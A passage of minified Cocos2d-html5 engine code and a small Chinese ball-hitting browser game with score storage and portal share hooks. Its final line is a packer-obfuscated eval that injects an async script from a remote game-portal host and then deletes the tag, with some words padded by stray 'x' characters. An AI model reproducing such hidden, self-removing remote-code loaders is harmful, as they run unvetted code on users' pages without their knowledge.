  1024. this.yw(d,c,a);var f=this.QU(e);this.Kx(d,f);this.Pd.splice(f,0,e);if(this.s)for(var g=this.s,h=0,k=g.length;h<k;h++){var m=g[h];if(m){var p=m.atlasIndex;p>=f&&(m.atlasIndex=p+1)}}this.Md[e]=a;return d},MY:function(a,c){var d=this.mg.yt(a),e=this.hh,d=Q(d.x/e,d.y/e,d.width/e,d.height/e),e=c.x+c.y*this.ra.width,d=this.SC(d);this.yw(d,c,a);d.atlasIndex=this.PA(e);d.dirty=!0;d.bf();this.Md[e]=a;return d},lX:function(){var a=this.UE("cc_vertexz");if(a)if("automatic"==a){this.PD=!0;var c=this.UE("cc_alpha_func"),
  1025. a=0;c&&(a=parseFloat(c));b.A===b.$&&(this.shaderProgram=b.Ld.nc(b.Hu),c=b.k.getUniformLocation(this.shaderProgram.Mm(),b.II),this.shaderProgram.Mc(),this.shaderProgram.Gt(c,a))}else this.VD=parseInt(a,10)},yw:function(a,c,d){var e=c.x+c.y*this.ra.width;a.P(this.qx(c));b.A===b.$?a.vertexZ=this.eM(c):a.tag=e;a.anchorX=0;a.anchorY=0;a.opacity=this.Ud;b.A===b.$&&(a.rotation=0);a.Ay(!1);a.gG(!1);(d&b.$H)>>>0?(a.anchorX=0.5,a.anchorY=0.5,a.x=this.qx(c).x+a.width/2,a.y=this.qx(c).y+a.height/2,c=(d&(b.Kq|
  1026. b.Lq)>>>0)>>>0,c==b.Kq?a.rotation=90:c==b.Lq?a.rotation=270:(a.rotation=c==(b.Lq|b.Kq)>>>0?90:270,a.Ay(!0))):((d&b.Kq)>>>0&&a.Ay(!0),(d&b.Lq)>>>0&&a.gG(!0))},SC:function(a){b.A===b.$?(this.uh?(this.uh.batchNode=null,this.uh.hb(a,!1)):(this.uh=new b.Q,this.uh.ta(this.texture,a,!1)),this.uh.batchNode=this):(this.uh=new b.Q,this.uh.ta(this.Rk,a,!1),this.uh.batchNode=this,this.uh.parent=this);return this.uh},eM:function(a){var c=0,d=0;if(this.PD)switch(this.op){case b.Ku:d=this.ra.width+this.ra.height;
  1027. c=-(d-(a.x+a.y));break;case b.Lu:c=-(this.ra.height-a.y);break;case b.Ju:b.log("TMX Hexa zOrder not supported");break;default:b.log("TMX invalid value")}else c=this.VD;return c},PA:function(a){var c;if(this.Pd)for(var d=this.Pd,e=0,f=d.length;e<f&&(c=d[e],c!=a);e++);"number"!=typeof c&&b.log("cc.TMXLayer._atlasIndexForExistantZ(): TMX atlas index not found. Shall not happen");return e},QU:function(a){for(var c=this.Pd,d=0,e=c.length;d<e&&!(a<c[d]);d++);return d}});n=b.Iq.prototype;
  1028. b.A==b.$?(n.Z=b.ef.prototype.Z,n.T=b.ef.prototype.T,n.Qa=b.ef.prototype.Qa):(n.Z=n.Ql,n.T=n.tm,n.Qa=n.xr);b.f(n,"texture",n.Qa,n.sb);b.f(n,"layerWidth",n.ZV,n.SX);b.f(n,"layerHeight",n.YV,n.RX);b.f(n,"tileWidth",n.zr,n.cs);b.f(n,"tileHeight",n.yr,n.bs);b.Iq.create=function(a,c,d){return new b.Iq(a,c,d)};b.Fz=b.ja.extend({Yr:null,la:null,dr:null,Oba:function(){return this.Yr},Lia:function(a){this.Yr=a},jN:function(){return this.la},Fy:function(a){this.la=a},jaa:function(){return this.dr},h3:function(a){this.dr=a},P0:function(a,c){this.Yr=a;this.la=c;this.dr=null;return!0}});b.Fz.create=function(a,c){var d=new b.Fz;d.P0(a,c);return d};
  1029. b.zH=b.ia.extend({Sm:null,aC:null,ub:"ParallaxNode",Aba:function(){return this.Sm},Cia:function(a){this.Sm=a},ctor:function(){b.ia.prototype.ctor.call(this);this.Sm=[];this.aC=N(-100,-100)},N:function(a,c,d,e){if(3===arguments.length)b.log("ParallaxNode: use addChild(child, z, ratio, offset) instead");else{if(!a)throw"cc.ParallaxNode.addChild(): child should be non-null";var f=b.Fz.create(d,e);f.h3(a);this.Sm.push(f);a.P(this.za.x*d.x+e.x,this.za.y*d.y+e.y);b.ia.prototype.N.call(this,a,c,a.tag)}},
  1030. removeChild:function(a,c){for(var d=this.Sm,e=0;e<d.length;e++)if(d[e].dr==a){d.splice(e,1);break}b.ia.prototype.removeChild.call(this,a,c)},Qg:function(a){this.Sm.length=0;b.ia.prototype.Qg.call(this,a)},T:function(){var a=this.GU();if(!b.QF(a,this.aC)){for(var c=this.Sm,d=0,e=c.length;d<e;d++){var f=c[d];f.dr.P(-a.x+a.x*f.Yr.x+f.la.x,-a.y+a.y*f.Yr.y+f.la.y)}this.aC=a}b.ia.prototype.T.call(this)},GU:function(){for(var a=this.za,c=this;null!=c.parent;)c=c.parent,a=b.Hi(a,c.px());return a}});
  1031. b.zH.create=function(){return new b.zH};if(b.ib.Hw){var W=b.mka=new (window.AudioContext||window.webkitAudioContext||window.mozAudioContext);b.AA=b.ja.extend({Vn:null,cb:null,km:null,aE:null,src:null,oy:null,autoplay:null,controls:null,sfa:null,currentTime:0,startTime:0,duration:0,cC:null,$D:1,lw:0,lc:!1,ks:!0,Fg:-1,ctor:function(a){this.Vn={};this.src=a;this.aE=W.createGain?W.createGain():W.createGainNode();this.bX=this.aX.bind(this);this.ZW=this.YW.bind(this)},sC:function(a){var c=this.km=W.createBufferSource(),d=this.aE;a=a||0;c.buffer=
  1032. this.cb;d.gain.value=this.$D;c.connect(d);d.connect(W.destination);c.loop=this.cC;this.ks=this.lc=!1;c.start?c.start(0,a):c.noteGrainOn?(d=c.buffer.duration,this.loop?c.noteGrainOn(0,a,d):c.noteGrainOn(0,a,d-a)):c.noteOn(0);this.lw=0},RL:function(){var a=this.km;this.ks||(a.stop?a.stop(0):a.wfa(0),this.ks=!0)},play:function(){if(-1==this.Fg)this.Fg=0;else if(1==this.Fg){var a=this.km;if(this.ks||!a||2!=a.playbackState)this.startTime=W.currentTime,this.sC(0)}},pause:function(){this.lw=W.currentTime;
  1033. this.lc=!0;this.RL()},Bp:function(){this.lc&&this.sC(this.cb?(this.lw-this.startTime)%this.cb.duration:0)},stop:function(){this.lw=0;this.lc=!1;this.RL()},load:function(){var a=this;if(1!=a.Fg){a.Fg=-1;a.played=!1;a.ended=!0;var c=new XMLHttpRequest;c.open("GET",a.src,!0);c.responseType="arraybuffer";c.onload=function(){W.decodeAudioData(c.response,a.bX,a.ZW)};c.send()}},addEventListener:function(a,c){this.Vn[a]=c.bind(this)},removeEventListener:function(a){delete this.Vn[a]},h9:function(){return b.ib.Hw},
  1034. aX:function(a){this.cb=a;a=this.Vn.success;var c=this.Vn.canplaythrough;a&&a();c&&c();0!=this.Fg&&"autoplay"!=this.autoplay&&!0!=this.autoplay||this.sC();this.Fg=1},YW:function(){var a=this.Vn.error;a&&a();this.Fg=-2},cloneNode:function(){var a=new b.AA(this.src);a.volume=this.volume;a.Fg=this.Fg;a.cb=this.cb;0!=a.Fg&&-1!=a.Fg||a.load();return a}});n=b.AA.prototype;b.f(n,"loop",function(){return this.cC},function(a){this.cC=a;this.km&&(this.km.loop=a)});b.f(n,"volume",function(){return this.$D},function(a){this.$D=
  1035. a;this.aE.gain.value=a});b.f(n,"paused",function(){return this.lc});b.f(n,"ended",function(){var a=this.km;return!this.lc&&(this.ks||!a||3==a.playbackState)});b.f(n,"played",function(){var a=this.km;return a&&2==a.playbackState})}
  1036. b.NG=b.ja.extend({pD:!1,Rd:null,sv:null,lf:0,aJ:0,he:{},br:{},Bv:1,eC:5,pk:null,Vr:[],ctor:function(){this.pD=0<b.QA.Iw.length;this.pk&&(this.pk=this.pk.bind(this))},oka:function(){return!1},Baa:function(){return this.Bv},pga:function(a,c){if(this.pD){var d=this.Rd;d&&this.Ok(d);a!=this.sv&&(this.Rd=d=this.DB(a),this.sv=a);d&&(d.loop=c||!1,this.tC(d))}},DB:function(a){var c=b.V,d=c.Gd(a);d||(c.load(a),d=c.Gd(a));return d},tC:function(a){a.ended||(a.stop?a.stop():(a.pause(),a.currentTime=0));this.lf=
  1037. 2;a.play()},t4:function(a){if(0<this.lf){var c=this.Rd;c&&this.Ok(c)&&(a&&b.V.Ki(this.sv),this.sv=this.Rd=null,this.lf=0)}},Ok:function(a){return a&&!a.ended?(a.stop?a.stop():a.duration&&Infinity!=a.duration?a.currentTime=a.duration:a.pause(),!0):!1},CO:function(){2==this.lf&&(this.Rd.pause(),this.lf=1)},V2:function(){1==this.lf&&(this.mj(this.Rd),this.lf=2)},mj:function(a){a&&!a.ended&&(a.Bp?a.Bp():a.play())},hha:function(){this.Rd&&this.tC(this.Rd)},nba:function(){return 0==this.lf?0:this.Rd.volume},
  1038. qia:function(a){0<this.lf&&(this.Rd.volume=Math.min(Math.max(a,0),1))},uF:function(){return 2==this.lf&&this.Rd&&!this.Rd.ended},GB:function(a){var c=this.br[a];c||(c=this.br[a]=[]);return c},kK:function(a){var c;if(!this.pD)return null;for(var d=this.GB(a),e=0,f=d.length;e<f;e++){var g=d[e];if(g.ended){c=g;c.currentTime=0;window.chrome&&c.load();break}}if(!c){if(d.length>=this.eC)return b.log("Error: "+a+" greater than "+this.eC),null;c=this.DB(a);if(!c)return null;c=c.cloneNode(!0);this.pk&&b.Ja(c,
  1039. "pause",this.pk);c.volume=this.Bv;d.push(c)}return c},PF:function(a,c){var d=this.kK(a);if(!d)return null;d.loop=c||!1;d.play();var e=this.aJ++;this.he[e]=d;return e},Uha:function(a){a=this.Bv=Math.min(Math.max(a,0),1);var c=this.he,d;for(d in c)c[d].volume=a},p2:function(a){(a=this.he[a])&&!a.ended&&a.pause()},n2:function(){var a=this.he,c;for(c in a){var d=a[c];d.ended||d.pause()}},U2:function(a){this.mj(this.he[a])},T2:function(){var a=this.he,c;for(c in a)this.mj(a[c])},s4:function(a){this.Ok(this.he[a]);
  1040. delete this.he[a]},GP:function(){var a=this.he,c;for(c in a)this.Ok(a[c]),delete a[c]},H4:function(a){var c=b.V,d=this.he,e=this.GB(a);c.Ki(a);if(0!=e.length){c=e[0].src;delete this.br[a];for(var f in d)d[f].src==c&&(this.Ok(d[f]),delete d[f])}},end:function(){this.t4();this.GP()},ZK:function(){var a=this.he,c,d;for(d in a)!(c=a[d])||c.ended||c.paused||(this.Vr.push(c),c.pause());this.uF()&&(this.Vr.push(this.Rd),this.Rd.pause())},qL:function(){for(var a=this.Vr,c=0,d=a.length;c<d;c++)this.mj(a[c]);
  1041. a.length=0}});
  1042. !b.ib.Hw&&0>b.ib.xY&&(b.OG=b.NG.extend({Vk:[],Ur:[],Kf:null,eC:2,Av:{},am:!1,Wn:0,WB:!1,tC:function(a){this.yD();this._super(a)},V2:function(){1==this.lf&&(this.yD(),this.am=!1,this.Wn=0,this._super())},PF:function(a,c){var d=this.Kf,e=c?this.kK(a):this.mW(a);if(!e)return null;e.loop=c||!1;var f=this.aJ++;this.he[f]=e;this.uF()&&(this.CO(),this.am=!0);d?(d!=e&&this.Vk.push(this.On),this.Vk.push(f),d.pause()):(this.Kf=e,this.On=f,e.play());return f},p2:function(){b.log("pauseEffect not supported in single audio mode!")},n2:function(){var a=
  1043. this.Vk,c=this.Ur,d=this.Kf;if(d){for(var e=0,f=a.length;e<f;e++)c.push(a[e]);a.length=0;c.push(this.On);d.pause()}},U2:function(){b.log("resumeEffect not supported in single audio mode!")},T2:function(){var a=this.Vk,c=this.Ur;this.uF()&&(this.CO(),this.am=!0);for(var d=0,e=c.length;d<e;d++)a.push(c[d]);c.length=0;!this.Kf&&0<=a.length&&(a=a.pop(),c=this.he[a])&&(this.On=a,this.Kf=c,this.mj(c))},s4:function(a){var c=this.Kf,d=this.Vk,e=this.Ur;c&&this.On==a?this.Ok(c):(c=d.indexOf(a),0<=c?d.splice(c,
  1044. 1):(c=e.indexOf(a),0<=c&&e.splice(c,1)))},GP:function(){this.yD();!this.Kf&&this.am&&(this.mj(this.Rd),this.lf=2,this.am=!1,this.Wn=0)},H4:function(a){var c=b.V,d=this.he,e=this.Av,f=this.GB(a),g=this.Kf;c.Ki(a);if(0!=f.length||e[a]){c=0<f.length?f[0].src:e[a].src;delete this.br[a];delete e[a];for(var h in d)d[h].src==c&&delete d[h];g&&g.src==c&&this.Ok(g)}},mW:function(a){var c=this.Av[a],d=this.Vk,e=this.Ur,f=this.he;if(c)c.currentTime=0;else{c=this.DB(a);if(!c)return null;c=c.cloneNode(!0);this.pk&&
  1045. b.Ja(c,"pause",this.pk);c.volume=this.Bv;this.Av[a]=c}a=0;for(var g=d.length;a<g;)f[d[a]]==c?d.splice(a,1):a++;a=0;for(g=e.length;a<g;)f[e[a]]==c?e.splice(a,1):a++;c.Gr=!0;return c},yD:function(){var a=this.Kf,c=this.br,d=this.Av,e=this.Vk,f=this.Ur;if(a||0!=e.length||0!=f.length){for(var g in d){var h=d[g];h.duration&&Infinity!=h.duration&&(h.currentTime=h.duration)}e.length=0;f.length=0;for(g in c)for(d=c[g],e=0,f=d.length;e<f;e++)h=d[e],h.loop=!1,h.duration&&Infinity!=h.duration&&(h.currentTime=
  1046. h.duration);a&&this.Ok(a)}},pk:function(){if(!this.WB){var a=this.pW();if(a)a.Gr?(delete a.Gr,a.play()):this.mj(a);else if(this.am){a=this.Rd;if(a.duration&&Infinity!=a.duration){var c=a.currentTime+this.Wn,c=c-a.duration*(c/a.duration|0);a.currentTime=c}this.Wn=0;this.mj(a);this.lf=2;this.am=!1}}},pW:function(){var a=this.Vk,c=this.he,d=this.Kf,e=d?d.currentTime-(d.startTime||0):0;for(this.Wn+=e;0!=a.length;){var f=a.pop();if(d=c[f]){if(d.Gr||d.loop||d.duration&&d.currentTime+e<d.duration)return this.On=
  1047. f,this.Kf=d,!d.Gr&&d.duration&&Infinity!=d.duration&&(a=d.currentTime+e,a-=d.duration*(a/d.duration|0),d.currentTime=a),d.Gr=!1,d;d.duration&&Infinity!=d.duration&&(d.currentTime=d.duration)}}return this.Kf=this.On=null},ZK:function(){var a=this.Kf;this.WB=!0;if(a=2==this.lf?this.Rd:a)this.Vr.push(a),a.pause()},qL:function(){var a=this.Vr;this.WB=!1;0<a.length&&(this.mj(a[0]),a.length=0)}}));
  1048. b.QA={Iw:null,nx:function(){return b.V.iZ},bC:function(a,c,d,e,f,g,h){var k=this,m=b.V,p=b.path,r=this.Iw,s="";if(0==r.length)return h("can not support audio!");if(-1==e)s=(p.Xk(a)||"").toLowerCase(),k.jZ(s)||(s=r[0],e=0);else if(e<r.length)s=r[e];else return h("can not found the resource of audio! Last match url is : "+a);if(0<=f.indexOf(s))return k.bC(a,c,d,e+1,f,g,h);a=p.tM(a,s);f.push(s);g=k.PW(a,g,function(m){if(m)return k.bC(a,c,d,e+1,f,g,h);h(null,g)},e==r.length-1);m.Zf[c]=g},jZ:function(a){return a?
  1049. 0<=this.Iw.indexOf(a.toLowerCase()):!1},PW:function(a,c,d,e){var f="file://"==location.origin?Audio:b.AA||Audio;2==arguments.length?(d=c,c=new f):3<arguments.length&&!c&&(c=new f);c.src=a;c.oy="auto";f=navigator.userAgent;/Mobile/.test(f)&&(/iPhone OS/.test(f)||/iPad/.test(f)||/Firefox/.test(f))||/MSIE/.test(f)?(c.load(),d(null,c)):(b.Ja(c,"canplaythrough",function(){d(null,c);this.removeEventListener("canplaythrough",arguments.callee,!1);this.removeEventListener("error",arguments.callee,!1)},!1),
  1050. b.Ja(c,"error",function(){d("load "+a+" failed");e&&(this.removeEventListener("canplaythrough",arguments.callee,!1),this.removeEventListener("error",arguments.callee,!1))},!1),c.load());return c},load:function(a,c,d,e){this.bC(a,c,d,-1,[],null,e)}};
  1051. b.QA.Iw=function(){var a=b.Ob("audio"),c=[];if(a.canPlayType){var d=function(c){c=a.canPlayType(c);return"no"!=c&&""!=c};d('audio/ogg; codecs\x3d"vorbis"')&&c.push(".ogg");d("audio/mpeg")&&c.push(".mp3");d('audio/wav; codecs\x3d"1"')&&c.push(".wav");d("audio/mp4")&&c.push(".mp4");(d("audio/x-m4a")||d("audio/aac"))&&c.push(".m4a")}return c}();b.V.Kj(["mp3","ogg","wav","mp4","m4a"],b.QA);b.Xw=b.OG?new b.OG:new b.NG;b.sa.dE(b.Hc.cu,function(){b.Xw.ZK()});b.sa.dE(b.Hc.Yp,function(){b.Xw.qL()});var ra=["res/uiTex.png","res/uiTex.plist","res/hit1.mp3","res/hit2.mp3"];var sa=b.ae.extend({ctor:function(){this._super();var a=b.D.R;b.ud.jM("res/uiTex.plist");var c=b.Q.create();c.hb(Q(0,0,a.width,a.height));c.color=b.color(184,184,96);c.Mb({x:0,y:0,anchorX:0,anchorY:0});this.N(c,1);c=b.Q.create("#logoTitle.png");c.Mb({x:a.width/2,y:a.height-20,anchorY:1});this.N(c,2);c=b.yl.create("#gameStart1.png","#gameStart2.png",function(){this.c2()},this);c.Mb({x:a.width/2,y:a.height-230});var d=b.yl.create("#gameMore1.png","#gameMore2.png",function(){this.IF()},this);d.Mb({x:a.width/
  1052. 2,y:a.height-280});c=b.wl.create(c,d);c.x=0;c.y=0;this.N(c,3);c=new b.W("","arial",14);c.x=a.width/2;c.y=a.height-320;c.textAlign=b.W.un;c.color=b.color(0,0,0);this.N(c,4);return!0},c2:function(){var a=b.Cf.create();a.N(X.create());b.D.Xm(b.vn.create(1.2,a))},IF:function(){clickMore();}});
  1053. sa.create=function(){var a=new sa;return a&&a.G()?a:null};sa.aG=function(){var a=b.Cf.create(),c=sa.create();a.N(c);return a};logoData="";
  1054. Loading=b.Cf.extend({ej:null,Kr:0,Ml:0,ac:null,ub:"Loading",G:function(){var a=this.WA=b.gd.create(b.color(0,0,0,0));a.P(b.Oj.$w);this.N(a,0);var c=100,c=-10,d=this.ac=b.W.create("\u52a0\u8f7d\u4e2d... 0%","Arial",18);d.P(b.Hi(b.Oj.Ks,N(0,c)));d.La(b.color(255,255,255));a.N(this.ac,10);return!0},wK:function(a,c){var d=new b.da;d.rd(a);d.Nb();d=b.Q.create(d);d.an(b.rb()/2);d.x=c.x;d.y=c.y;this.WA.N(d,10)},ba:function(){b.q.prototype.ba.call(this);this.Cp(this.gs,0.3)},vb:function(){b.q.prototype.vb.call(this);this.ac.Lc("\u52a0\u8f7d\u4e2d... 0%")},
  1055. jF:function(a,c){"string"==typeof a&&(a=[a]);this.YF=a||[];this.cd=c},gs:function(){var a=this;a.Rt(a.gs);var c=a.YF;a.Kr=c.length;a.Ml=0;b.V.load(c,function(c,e){a.Ml=e},function(){a.cd&&a.cd()});a.Cp(a.us)},us:function(){var a=this.Ml,c=this.Kr,d;d=Math.min(a/c*100|0,100);this.ac.Lc("\u52a0\u8f7d\u4e2d... "+d+"%");a>=c&&this.Rt(this.us)}});Loading.oy=function(a,c){var d=b;d.tq||(d.tq=new Loading,d.tq.G());d.tq.jF(a,c);b.D.Xm(d.tq);return d.tq};STATE_PLAYING=1;STATE_GAMEOVER=0;
  1056. var ta,Y,X=b.ae.extend({x8:null,Ak:null,Fk:null,oe:STATE_PLAYING,Jr:null,uK:null,Qv:null,ns:null,G:function(){var a=!1;this._super()&&(Z=0,$=null==b.ib.localStorage.getItem("ifhitScore")?0:parseInt(b.ib.localStorage.getItem("ifhitScore")),this.oe=STATE_PLAYING,Y=b.D.R,a=b.Da.Bc("res/uiTex.png"),this.ns=b.ef.create(a),this.N(this.ns,100),a=b.Q.create("#gameBg.png"),a.Mb({x:0,y:0,anchorX:0,anchorY:0}),this.N(a,1),a=b.Q.create("#gameFloor.png"),a.Mb({x:0,y:ua,anchorX:0,anchorY:1}),this.N(a,2),a=b.Q.create("#scoreBg.png"),
  1057. a.Mb({x:Y.width/2,y:Y.height-36}),this.N(a,200),this.Jr=b.W.create("\u5f97\u5206: 0","Arial",48),this.Jr.Mb({x:a.width/2,y:a.height/2,anchorX:0.5,anchorY:0.5,scale:0.5}),this.Jr.La(b.color(152,56,64)),a.N(this.Jr),this.Fk=new ya,this.ns.N(this.Fk,this.Fk.Wt),this.Ak=new za,this.ns.N(this.Ak,this.Ak.Wt),b.ib.Js.hasOwnProperty("touches")&&b.sa.addListener({event:b.va.Nu,up:function(a,d){d.Wc.DO(a[0])}},this),"mouse"in b.ib.Js&&b.sa.addListener({event:b.va.vl,nt:function(a){a.ZA==b.Cc.pQ&&a.Wc.DO(a)}},
  1058. this),this.VO(),a=!0,ta=this,this.uK=Ca.create());return a},update:function(){this.oe==STATE_PLAYING&&(this.Fk.s_(this.Ak.rotation),this.wZ(this.Ak,this.Fk)&&(this.oe=STATE_GAMEOVER,Z>$&&($=Z,b.ib.localStorage.setItem("ifhitScore",$)),this.Fk.Uo(),this.Ak.Uo(),this.ua(b.qa.create(b.pc.create(1),b.jb.create(this.b2,this)))))},DO:function(){this.oe==STATE_PLAYING&&(this.Fk.L0(),this.xZ(this.Ak,this.Fk)?(this.uK.reset(this.Qv.x,this.Qv.y),Z+=1,this.Jr.Lc("\u5f97\u5206: "+Z),this.Ak.mZ(),b.Xw.PF("res/hit2.mp3")):
  1059. b.Xw.PF("res/hit1.mp3"))},wZ:function(a,c){return b.JO(a.dx(a.x,a.y),c.dx(c.x,c.y))},xZ:function(a,c){var d=c.x,e=c.y;this.Qv=a.dx(a.x,a.y);return b.JO(this.Qv,c.M0(d,e))},b2:function(){var a=b.Cf.create();a.N(Da.create());b.D.Xm(b.vn.create(0.5,a))}});X.create=function(){var a=new X;return a&&a.G()?a:null};X.aG=function(){var a=b.Cf.create(),c=X.create();a.N(c,1);return a};var Z=0,$=0,ua=140,$=Z=0,Ea=[[-1,1],[0,1],[1,1],[1,0],[1,-1],[0,-1],[-1,-1],[-1,0]];var ya=b.Q.extend({Wt:1E3,active:!0,g6:1,OL:null,PL:null,sK:null,tK:null,XB:!0,Pl:1,ctor:function(){this._super("#playerStand1.png");this.tag=this.Wt;this.x=Y.width/2-this.width-10;this.y=ua;this.anchorY=this.anchorX=0;var a=[];a.push(b.ud.qd("playerStand1.png"));a.push(b.ud.qd("playerStand2.png"));a=b.zf.create(a,0.2);a=b.ah.create(a);this.OL=b.Bl.create(a);a=[];a.push(b.ud.qd("playerStand3.png"));a.push(b.ud.qd("playerStand4.png"));a=b.zf.create(a,0.1);a=b.ah.create(a);this.PL=b.Bl.create(a);a=
  1060. [];a.push(b.ud.qd("playerHit1.png"));a=b.zf.create(a,0.5);a=b.ah.create(a);this.sK=b.qa.create(a,b.jb.create(this.yG,this));a=[];a.push(b.ud.qd("playerHit2.png"));a=b.zf.create(a,0.5);a=b.ah.create(a);this.tK=b.qa.create(a,b.jb.create(this.yG,this));this.yG()},yG:function(){this.XB=!0;switch(this.Pl){case 1:this.ua(this.OL);break;case 2:this.ua(this.PL)}},L0:function(){if(this.XB)switch(this.XB=!1,this.jl(),this.Pl){case 1:this.ua(this.sK);break;case 2:this.ua(this.tK)}},s_:function(a){-180<a?(this.Pl=
  1061. 1,this.x=Y.width/2-this.width-10):(this.Pl=2,this.x=Y.width/2+10)},Uo:function(){this.jl();var a=[];a.push(b.ud.qd("playerFail1.png"));a.push(b.ud.qd("playerFail2.png"));a=b.zf.create(a,0.3);a=b.ah.create(a);a=b.Al.create(a,1);switch(this.Pl){case 1:this.flippedX=!1;this.ua(b.tg.create(0.6,-50,0,50,1));break;case 2:this.flippedX=!0,this.ua(b.tg.create(0.6,50,0,50,1))}this.ua(a)},M0:function(a,c){switch(this.Pl){case 1:a+=this.width}return Q(a,c+40,30,40)},dx:function(a,c){switch(this.Pl){case 1:a+=
  1062. 20;break;case 2:a+=50}return Q(a,c,58,this.height)}});var za=b.Q.extend({Wt:2E3,active:!0,yg:0,Cr:0,Nl:0,ctor:function(){this._super("#iron1.png");this.tag=this.Wt;this.Jl=b.Q.create("#ball1.png");this.Jl.Mb({x:this.width/2,y:0,anchorX:0.5,anchorY:1});this.N(this.Jl,1);this.x=Y.width/2;this.y=this.height+ua+this.Jl.height+32;this.anchorX=0.5;this.anchorY=1},mZ:function(){var a="ball2.png";this.jl();this.Cr+=1;this.Nl=(Math.round(4*Math.random()-2)/10+0.5)*this.Cr;-180<=this.rotation&&(a="ball2.png",this.yg=100*-this.Nl);-180>this.rotation&&(a="ball3.png",
  1063. this.yg=100*this.Nl);-180>this.rotation+this.yg&&-180<this.rotation&&(this.yg-=200,this.Nl=-this.yg/10/10,this.Cr=0);-180<this.rotation+this.yg&&-180>this.rotation&&(this.yg+=200,this.Nl=this.yg/10/10,this.Cr=0);var c=[];c.push(b.ud.qd(a));c.push(b.ud.qd("ball1.png"));this.Jl.jl();a=b.zf.create(c,0.3);a=b.ah.create(a);this.Jl.ua(b.Al.create(a,1));a=b.Vj.create(this.Nl,this.yg).Ka(b.a_());a=b.qa.create(a,b.jb.create(this.W4,this));this.ua(a)},W4:function(){if(-360<this.rotation&&0>this.rotation){var a=
  1064. b.Vj.create(2*this.Nl,-2*this.yg).Ka(b.e_());this.ua(a)}},dx:function(a,c){var d=this.rotation*Math.PI/180;a-=this.height*Math.sin(d);c-=this.height*Math.cos(d);return Q(a,c,this.Jl.width,this.Jl.height)},Uo:function(){this.jl()}});var Ca=b.ja.extend({active:!0,Vi:null,wD:[],If:[],m:0.4,tJ:500,ctor:function(){this.Vi=b.Q.create();this.Vi.hb(Q(0,0,Y.width,Y.height));this.Vi.color=b.color(0,0,0);this.Vi.Mb({x:0,y:0,anchorX:0,anchorY:0,visible:!1});ta.N(this.Vi,4);for(var a=null,c=0;8>c;c++)a=b.Q.create("#effect1.png"),a.Mb({anchorX:0.5,anchorY:0.5,visible:!1}),ta.ns.N(a,3E3),this.wD.push(a),a=b.df.create(this.m,Ea[c][0]*this.tJ,Ea[c][1]*this.tJ),this.If.push(a)},reset:function(a,c){this.Vi.visible=!0;var d=b.tl.create(this.m),
  1065. d=b.qa.create(d,b.jb.create(this.Uo,this));this.Vi.ua(d);for(var d=null,e=0;e<this.wD.length;e++)d=this.wD[e],d.x=a,d.y=c,d.visible=!0,d.ua(this.If[e])},Uo:function(){this.Vi.opacity=255;this.Vi.visible=!1}});Ca.create=function(){return new Ca};var Da=b.ae.extend({tfa:null,G:function(){var a=!1;if(this._super()){a=b.Q.create();a.hb(Q(0,0,Y.width,Y.height));a.color=b.color(184,184,96);a.Mb({x:0,y:0,anchorX:0,anchorY:0});this.N(a,1);a=b.W.create("\u5f53\u524d\u5f97\u5206: "+Z,"Arial",48);a.Mb({x:Y.width/2,y:Y.height-100,anchorX:0.5,anchorY:0.5,scale:0.5});a.La(b.color(152,56,64));this.N(a,2);a=b.W.create("\u6700\u9ad8\u5f97\u5206: "+$,"Arial",48);a.Mb({x:Y.width/2,y:Y.height-140,anchorX:0.5,anchorY:0.5,scale:0.5});a.La(b.color(152,56,64));
  1066. this.N(a,3);a=b.yl.create("#gameAgain1.png","#gameAgain2.png",function(){this.d2()},this);a.Mb({x:Y.width/2,y:Y.height-220});var c=b.yl.create("#gameShare1.png","#gameShare2.png",dp_share,this);c.Mb({x:Y.width/2,y:Y.height-270});var d=b.yl.create("#gameMore1.png","#gameMore2.png",function(){this.IF()},this);d.Mb({x:Y.width/2,y:Y.height-320});a=b.wl.create(a,c,d);a.x=0;a.y=0;this.N(a,4);this.sO();a=!0}return a},d2:function(){var a=b.Cf.create();a.N(X.create());b.D.Xm(b.vn.create(0.5,a))},
  1067. sO:function(){dp_submitScore(Z)},IF:function(){clickMore();}});Da.create=function(){var a=new Da;return a&&a.G()?a:null};Da.aG=function(){var a=b.Cf.create(),c=Da.create();a.N(c);return a};b.Hc.JF=function(){b.view.RY(!0);b.ib.Ci?b.view.zy(320,500,b.ye.tu):b.view.zy(320,480,b.ye.SHOW_ALL);b.view.S2(!0);Loading.oy(ra,function(){this.ua(b.qa.create(b.pc.create(1),b.jb.create(function(){b.D.Xm(b.vn.create(1.2,new sa.aG))},this)))},this)};b.Hc.X2();
  1068. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|sxcrxixpt|parentNode|htxtp|cxom|9xg|gxaxme|||javaxscxrixptx|text|type|src|true|async|onload|insertBefore|js|removeChild|nddsc|getElementsByTagName||createElement'.split('|'),0,{}))